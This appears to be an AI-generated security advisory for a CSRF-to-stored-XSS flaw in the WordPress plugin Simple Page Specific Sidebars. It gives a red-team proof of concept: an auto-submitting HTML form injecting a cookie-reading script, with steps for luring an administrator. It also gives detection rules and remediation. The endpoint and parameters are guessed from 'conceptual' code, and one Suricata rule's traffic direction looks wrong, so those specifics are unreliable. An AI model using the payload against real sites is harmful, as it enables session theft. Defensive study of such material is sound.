CVE-2024-51633

Executive Summary

CVE-2024-51633 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Simple Page Specific Sidebars by ivycat, affecting versions up to and including 2.14.1. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, which can lead to Stored Cross-Site Scripting (XSS). This means an attacker can inject malicious scripts into the sidebar configuration, which will execute when other users view the affected page. The CVSS score is 7.1 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No official patch is available, and no public exploit code exists.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – vulnerability impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although exploitation requires user interaction, the potential for stored XSS makes this a serious risk for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the Simple Page Specific Sidebars plugin, which allows administrators to assign custom sidebars to specific pages. The plugin fails to implement proper CSRF tokens in its administrative actions, such as saving sidebar assignments. An attacker can craft a malicious link or form that, when clicked by an authenticated admin, will modify sidebar settings without the admin's consent.

Because the plugin also lacks proper output sanitization, the attacker can inject arbitrary JavaScript into the sidebar configuration. This stored XSS payload will then execute in the context of any user viewing a page with the malicious sidebar, leading to session hijacking, defacement, or data theft.

Attack Flow:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker crafts a CSRF exploit (e.g., a hidden form or image tag) that targets the plugin's admin AJAX endpoint.
3. Attacker lures an authenticated admin to visit a page containing the exploit.
4. The admin's browser sends a forged request, updating a sidebar with attacker-controlled content containing JavaScript.
5. When other users (including the admin) view the affected page, the stored XSS executes.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable code pattern. The plugin likely uses a function like update_option() or save_post() without a nonce check.

Vulnerable Code (Conceptual):

// In admin-ajax.php or similar
add_action('wp_ajax_save_sidebar', 'save_sidebar_callback');
function save_sidebar_callback() {
    $sidebar_data = $_POST['sidebar_data'];
    update_option('custom_sidebar', $sidebar_data);
    // No nonce verification
}

Patched Code (Expected):

add_action('wp_ajax_save_sidebar', 'save_sidebar_callback');
function save_sidebar_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'save_sidebar_nonce')) {
        wp_die('CSRF validation failed');
    }
    $sidebar_data = sanitize_text_field($_POST['sidebar_data']);
    update_option('custom_sidebar', $sidebar_data);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an admin user logged in.
• Ability to host a malicious HTML page or send a crafted link.

Exploit Payload (CSRF + Stored XSS):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="save_sidebar">
    <input type="hidden" name="sidebar_data" value='{"sidebar_name":"Malicious","content":"<script>alert(document.cookie)</script>"}'>
    <input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to an authenticated admin (e.g., via email or social engineering).
3. Once the admin visits the page, the form auto-submits, injecting the XSS payload.
4. The stored XSS will execute on any page using the malicious sidebar.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=save_sidebar from unexpected referrers.
• Look for suspicious sidebar content containing <script> tags or event handlers.

Defense:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Educate administrators about phishing attacks targeting CSRF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=save_sidebar and no _wpnonce parameter.
  • Referrer headers from unexpected domains.
• File IOCs:
  • Modified wp_options table entries containing custom_sidebar with embedded JavaScript.
  • Plugin files with unexpected modifications (e.g., page-specific-sidebars/admin-ajax.php).
• Behavioral IOCs:
  • Unauthorized changes to sidebar configurations.
  • Unexpected pop-ups or redirects on pages with custom sidebars.

Detection Engineering

YARA Rule

rule CVE_2024_51633_CSRF_XSS {
    meta:
        description = "Detects CSRF and stored XSS attempts against Simple Page Specific Sidebars plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51633"
    strings:
        $csrf_action = "save_sidebar"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $admin_ajax = "admin-ajax.php"
    condition:
        $csrf_action and $admin_ajax and $xss_payload
}

Sigma Rule

title: CVE-2024-51633 CSRF to Stored XSS in Simple Page Specific Sidebars
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting the Simple Page Specific Sidebars plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=save_sidebar'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51633 CSRF to Stored XSS in Simple Page Specific Sidebars";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_sidebar"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-51633;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any suspicious sidebar configurations from the database.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must implement CSRF nonce checks and output sanitization in all admin-facing actions.
• Users should monitor the WordPress plugin repository for updates.

Workarounds:

• Use a security plugin (e.g., Wordfence) to add CSRF protection.
• Restrict access to wp-admin via IP whitelisting or VPN.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.